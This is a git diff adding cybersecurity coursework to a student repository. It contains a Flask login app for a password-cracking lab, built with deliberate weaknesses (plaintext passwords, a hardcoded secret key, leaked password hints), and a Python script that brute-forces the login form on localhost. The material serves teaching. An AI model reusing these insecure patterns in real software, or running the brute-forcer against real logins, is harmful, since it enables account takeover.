diff --git a/AGENTS.md b/AGENTS.md new file mode 100644 index 0000000..29539c4 --- /dev/null +++ b/AGENTS.md @@ -0,0 +1,66 @@ +# AGENTS.md + +This file provides guidance to Codex (Codex.ai/code) when working with code in this repository. + +## Quick Commands + +### Python Projects +- **Install dependencies**: `uv sync` (root) or `uv sync` in a subdirectory with its own `pyproject.toml` +- **Run linter**: `ruff check .` (includes all files via `extend-include`) +- **Auto-fix**: `ruff check . --fix` +- **Format imports**: `ruff format .` + +### R Projects +- **Load project**: RStudio/.Rprofile uses `renv` for isolation +- **Check style**: `lintr::lint("script.R")` +- **Format code**: `styler::style_file("script.R")` + +### SQL (M2/SQL) +```bash +docker compose -f M2/SQL/docker-compose.yml up -d +make tp1 # Execute TP1.sql +make tp2 # Execute TP2.sql +make tp3 # Execute TP3.sql +make project # Execute DANJOU_Arthur.sql +``` + +## Project Structure + +``` +L3/ # Bachelor's degree (3rd year) +M1/ # Master's degree (1st year) +M2/ # Master's degree (2nd year) +└── / # e.g., "Deep Learning", "Data Visualisation" + ├── TP{n}/ # Practical work (numbered) + ├── Project/ # Final project + └── data/ # Course-specific data +``` + +## Python Conventions + +- **Package manager**: `uv` (workspace configured at root) +- **Linting**: Ruff with strict rules (`select = ["ALL"]`) +- **Import ordering**: Custom sections in `pyproject.toml`: + - `data-science`: numpy, pandas, scipy, matplotlib, seaborn, plotly + - `ml`: tensorflow, keras, torch, sklearn, xgboost, catboost, shap +- **Reproducibility**: Use `np.random.seed(42)` for random seeds +- **Notebooks**: Jupyter with descriptive markdown cells + +## R Conventions + +- **Package management**: `renv` (autoloading via `.Rprofile`) +- **Linting**: `lintr` configured in `.lintr` +- **Documents**: RMarkdown (`.Rmd`) for reproducible reports +- **Visualization**: ggplot2, plotly, FactoMineR + +## Key Technologies + +- **Data Science**: numpy, pandas, scipy, matplotlib, seaborn, plotly, geopandas +- **Machine Learning**: scikit-learn, xgboost, catboost, tensorflow, keras, shap +- **LLM/RAG**: langchain, sentence-transformers, faiss-cpu +- **R**: tidyverse, ggplot2, FactoMineR, caret, glmnet, RShiny + +## Notes + +- Large datasets are not versioned—download via notebook code when needed +- Course materials and documentation are primarily in French diff --git a/M2/Cybersecurity/TP_MDP.py b/M2/Cybersecurity/TP_MDP.py new file mode 100644 index 0000000..fa6309d --- /dev/null +++ b/M2/Cybersecurity/TP_MDP.py @@ -0,0 +1,315 @@ +#!/usr/bin/env python3 +import re + +from flask import ( + Flask, + Response, + redirect, + render_template_string, + request, + session, + url_for, +) + +app = Flask(__name__) +app.secret_key = "super_secret_training_key_2025" +# Dictionnaire des utilisateurs : username -> password +users = { + "user1": "aaaaa", # 5 caractères + "user2": "rock12", # exemple autre mot de passe + "user3": "secret", + "user4": "#-1234abcd-#", # mot de passe niveau 4 +} + +# Page de connexion avec sélecteur de niveau + Tailwind + Logo +login_page = """ + + + + + Authentification + + + +
+
+ Logo +
+

Connexion

+ {% if error %} +

{{ error }}

+ {% endif %} +
+
+ + +
+
+ + +
+
+ + +
+
+ +
+
+ +
+ + +""" + +# Page d'accueil Niveau 1 +home_page_level1 = """ + + + + + Accueil Niveau 1 + + + +
+
+ Logo +
+

Bienvenue, {{ username }} !

+

Vous êtes connecté au Niveau 1.

+

Mot de passe de 5 caractères.

+ + Déconnexion + +
+ + +""" + +# Page d'accueil Niveau 2 +home_page_level2 = """ + + + + + Accueil Niveau 2 + + + +
+
+ Logo +
+

Bienvenue, {{ username }} !

+

Vous êtes connecté au Niveau 2.

+

Mot de passe : "rock12".

+ + Déconnexion + +
+ + +""" + +# Page d'accueil Niveau 3 +home_page_level3 = """ + + + + + Accueil Niveau 3 + + + +
+
+ Logo +
+

Bienvenue, {{ username }} !

+

Vous êtes connecté au Niveau 3.

+

En cas de "mot de passe oublié", le hash MD5 vous sera fourni.

+ + Déconnexion + +
+ + +""" + +# Page d'accueil Niveau 4 +home_page_level4 = """ + + + + + Accueil Niveau 4 + + + +
+
+ Logo +
+

Bienvenue, {{ username }} !

+

Vous êtes connecté au Niveau 4.

+

Votre mot de passe doit respecter le format : "#-[0-9]{4}[a-z]{4}-#".

+ + Déconnexion + +
+ + +""" + +# Page "mot de passe oublié" (indice seulement si l'utilisateur est user4) +forgot_page = """ + + + + + Mot de passe oublié + + + +
+
+ Logo +
+

Mot de passe oublié

+ {% if message %} +

{{ message }}

+ {% else %} +
+
+ + +
+
+ +
+
+ {% endif %} + +
+ + +""" + +@app.route("/", methods=["GET", "POST"]) +@app.route("/login", methods=["GET", "POST"]) +def login() -> Response: + """Page de connexion avec sélection du niveau.""" + error = None + if request.method == "POST": + username = request.form.get("username") + password = request.form.get("password") + level_str = request.form.get("level") + + # Vérifier que l'utilisateur existe + if username in users: + # Vérifier le mot de passe + if users[username] == password: + # Le niveau est choisi par l'utilisateur (pas stocké dans le dictionnaire) + try: + level = int(level_str) + except (ValueError, TypeError): + error = "Sélectionnez un niveau valide." + return render_template_string(login_page, error=error) + # On enregistre le niveau choisi dans la session + session["username"] = username + session["level"] = level + # Redirection vers la page correspondant au niveau + if level == 1: + return redirect(url_for("home1")) + if level == 2: + return redirect(url_for("home2")) + if level == 3: + return redirect(url_for("home3")) + if level == 4: + return redirect(url_for("home4")) + else: + error = "Mot de passe incorrect." + else: + error = "Utilisateur inconnu." + return render_template_string(login_page, error=error) + +@app.route("/home1") +def home1() -> Response: + """Page d'accueil pour le niveau 1.""" + if "username" in session and session.get("level") == 1: + return render_template_string(home_page_level1, username=session["username"]) + return redirect(url_for("login")) + +@app.route("/home2") +def home2() -> Response: + """Page d'accueil pour le niveau 2.""" + if "username" in session and session.get("level") == 2: + return render_template_string(home_page_level2, username=session["username"]) + return redirect(url_for("login")) + +@app.route("/home3") +def home3() -> Response: + """Page d'accueil pour le niveau 3.""" + if "username" in session and session.get("level") == 3: + return render_template_string(home_page_level3, username=session["username"]) + return redirect(url_for("login")) + +@app.route("/home4") +def home4() -> str: + """Page d'accueil pour le niveau 4.""" + if "username" in session and session.get("level") == 4: + return render_template_string(home_page_level4, username=session["username"]) + return redirect(url_for("login")) + +@app.route("/logout") +def logout() -> str: + """Déconnexion de l'utilisateur.""" + session.pop("username", None) + session.pop("level", None) + return redirect(url_for("login")) + +@app.route("/forgot", methods=["GET", "POST"]) +def forgot() -> str: + """Seul user4 reçoit un indice. + + Les autres utilisateurs n'ont pas d'indice. + """ + message = None + if request.method == "POST": + username = request.form.get("username") + if username in users: + # Seul user4 a droit à un indice (puisque c'est le "niveau 4") + if username == "user4": + pattern = r"^#-[0-9]{4}[a-z]{4}-#$" + if re.match(pattern, users[username]): + message = ("Indice : Le mot de passe respecte le format " + "'#-MDP 8 caractères max -#' (exemple : '#-1234abcd-#').") + else: + message = "Le mot de passe ne correspond pas au format attendu (erreur)." + else: + message = "Aucun indice n'est disponible pour cet utilisateur." + else: + message = "Utilisateur non trouvé." + return render_template_string(forgot_page, message=message) + +if __name__ == "__main__": + app.run(debug=False) diff --git a/M2/Cybersecurity/bruteforce.py b/M2/Cybersecurity/bruteforce.py new file mode 100644 index 0000000..0fd156f --- /dev/null +++ b/M2/Cybersecurity/bruteforce.py @@ -0,0 +1,31 @@ +import itertools +import string + +import requests + + +def bruteforce_user1() -> str | None: + """Brute-force pour trouver le mot de passe de user1.""" + url = "http://127.0.0.1:5000/login" + alphabet = string.ascii_lowercase + "0123456789" + + for combination in itertools.product(alphabet, repeat=7): + password_attempt = "".join(combination) + + payload = {"username": "user1", "password": password_attempt, "level": "1"} + + try: + response = requests.post(url, data=payload, timeout=2) + + if "Mot de passe incorrect" not in response.text: + print(f"Succès : {password_attempt}") + return password_attempt + + except requests.exceptions.RequestException: + continue + + return None + + +if __name__ == "__main__": + bruteforce_user1() diff --git a/pyproject.toml b/pyproject.toml index 8155d04..9a73df9 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -6,6 +6,7 @@ readme = "README.md" requires-python = ">= 3.12,<3.14" dependencies = [ "catboost>=1.2.10", + "flask>=3.1.3", "ipykernel>=7.2.0", "ipywidgets>=8.1.8", "langchain>=1.2.10", diff --git a/uv.lock b/uv.lock index 99c8a4a..a7fdb85 100644 --- a/uv.lock +++ b/uv.lock @@ -83,6 +83,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/2b/03/13dde6512ad7b4557eb792fbcf0c653af6076b81e5941d36ec61f7ce6028/astunparse-1.6.3-py2.py3-none-any.whl", hash = "sha256:c2652417f2c8b5bb325c885ae329bdf3f86424075c4fd1a128674bc6fba4b8e8", size = 12732, upload-time = "2019-12-22T18:12:11.297Z" }, ] +[[package]] +name = "blinker" +version = "1.9.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/21/28/9b3f50ce0e048515135495f198351908d99540d69bfdc8c1d15b73dc55ce/blinker-1.9.0.tar.gz", hash = "sha256:b4ce2265a7abece45e7cc896e98dbebe6cead56bcf805a3d23136d145f5445bf", size = 22460, upload-time = "2024-11-08T17:25:47.436Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/10/cb/f2ad4230dc2eb1a74edf38f1a38b9b52277f75bef262d8908e60d957e13c/blinker-1.9.0-py3-none-any.whl", hash = "sha256:ba0efaa9080b619ff2f3459d1d500c57bddea4a6b424b60a91141db6fd2f08bc", size = 8458, upload-time = "2024-11-08T17:25:46.184Z" }, +] + [[package]] name = "blis" version = "1.3.3" @@ -438,6 +447,23 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/a9/b8/2f664b56a3b4b32d28d3d106c71783073f712ba43ff6d34b9ea0ce36dc7b/filelock-3.25.1-py3-none-any.whl", hash = "sha256:18972df45473c4aa2c7921b609ee9ca4925910cc3a0fb226c96b92fc224ef7bf", size = 26720, upload-time = "2026-03-09T19:38:45.718Z" }, ] +[[package]] +name = "flask" +version = "3.1.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "blinker" }, + { name = "click" }, + { name = "itsdangerous" }, + { name = "jinja2" }, + { name = "markupsafe" }, + { name = "werkzeug" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/26/00/35d85dcce6c57fdc871f3867d465d780f302a175ea360f62533f12b27e2b/flask-3.1.3.tar.gz", hash = "sha256:0ef0e52b8a9cd932855379197dd8f94047b359ca0a78695144304cb45f87c9eb", size = 759004, upload-time = "2026-02-19T05:00:57.678Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/9c/34f6962f9b9e9c71f6e5ed806e0d0ff03c9d1b0b2340088a0cf4bce09b18/flask-3.1.3-py3-none-any.whl", hash = "sha256:f4bcbefc124291925f1a26446da31a5178f9483862233b23c0c96a20701f670c", size = 103424, upload-time = "2026-02-19T05:00:56.027Z" }, +] + [[package]] name = "flatbuffers" version = "25.12.19" @@ -734,6 +760,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/56/6d/0d9848617b9f753b87f214f1c682592f7ca42de085f564352f10f0843026/ipywidgets-8.1.8-py3-none-any.whl", hash = "sha256:ecaca67aed704a338f88f67b1181b58f821ab5dc89c1f0f5ef99db43c1c2921e", size = 139808, upload-time = "2025-11-01T21:18:10.956Z" }, ] +[[package]] +name = "itsdangerous" +version = "2.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/9c/cb/8ac0172223afbccb63986cc25049b154ecfb5e85932587206f42317be31d/itsdangerous-2.2.0.tar.gz", hash = "sha256:e0050c0b7da1eea53ffaf149c0cfbb5c6e2e2b69c4bef22c81fa6eb73e5f6173", size = 54410, upload-time = "2024-04-16T21:28:15.614Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl", hash = "sha256:c6242fc49e35958c8b15141343aa660db5fc54d4f13a1db01a3f5891b98700ef", size = 16234, upload-time = "2024-04-16T21:28:14.499Z" }, +] + [[package]] name = "jedi" version = "0.19.2" @@ -2480,6 +2515,7 @@ version = "0.1.0" source = { virtual = "." } dependencies = [ { name = "catboost" }, + { name = "flask" }, { name = "ipykernel" }, { name = "ipywidgets" }, { name = "langchain" }, @@ -2515,6 +2551,7 @@ dev = [ [package.metadata] requires-dist = [ { name = "catboost", specifier = ">=1.2.10" }, + { name = "flask", specifier = ">=3.1.3" }, { name = "ipykernel", specifier = ">=7.2.0" }, { name = "ipywidgets", specifier = ">=8.1.8" }, { name = "langchain", specifier = ">=1.2.10" }, @@ -3002,6 +3039,18 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/a4/74/a148b41572656904a39dfcfed3f84dd1066014eed94e209223ae8e9d088d/weasel-0.4.3-py3-none-any.whl", hash = "sha256:08f65b5d0dbded4879e08a64882de9b9514753d9eaa4c4e2a576e33666ac12cf", size = 50757, upload-time = "2025-11-13T23:52:26.982Z" }, ] +[[package]] +name = "werkzeug" +version = "3.1.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/61/f1/ee81806690a87dab5f5653c1f146c92bc066d7f4cebc603ef88eb9e13957/werkzeug-3.1.6.tar.gz", hash = "sha256:210c6bede5a420a913956b4791a7f4d6843a43b6fcee4dfa08a65e93007d0d25", size = 864736, upload-time = "2026-02-19T15:17:18.884Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4d/ec/d58832f89ede95652fd01f4f24236af7d32b70cab2196dfcc2d2fd13c5c2/werkzeug-3.1.6-py3-none-any.whl", hash = "sha256:7ddf3357bb9564e407607f988f683d72038551200c704012bb9a4c523d42f131", size = 225166, upload-time = "2026-02-19T15:17:17.475Z" }, +] + [[package]] name = "wheel" version = "0.46.3"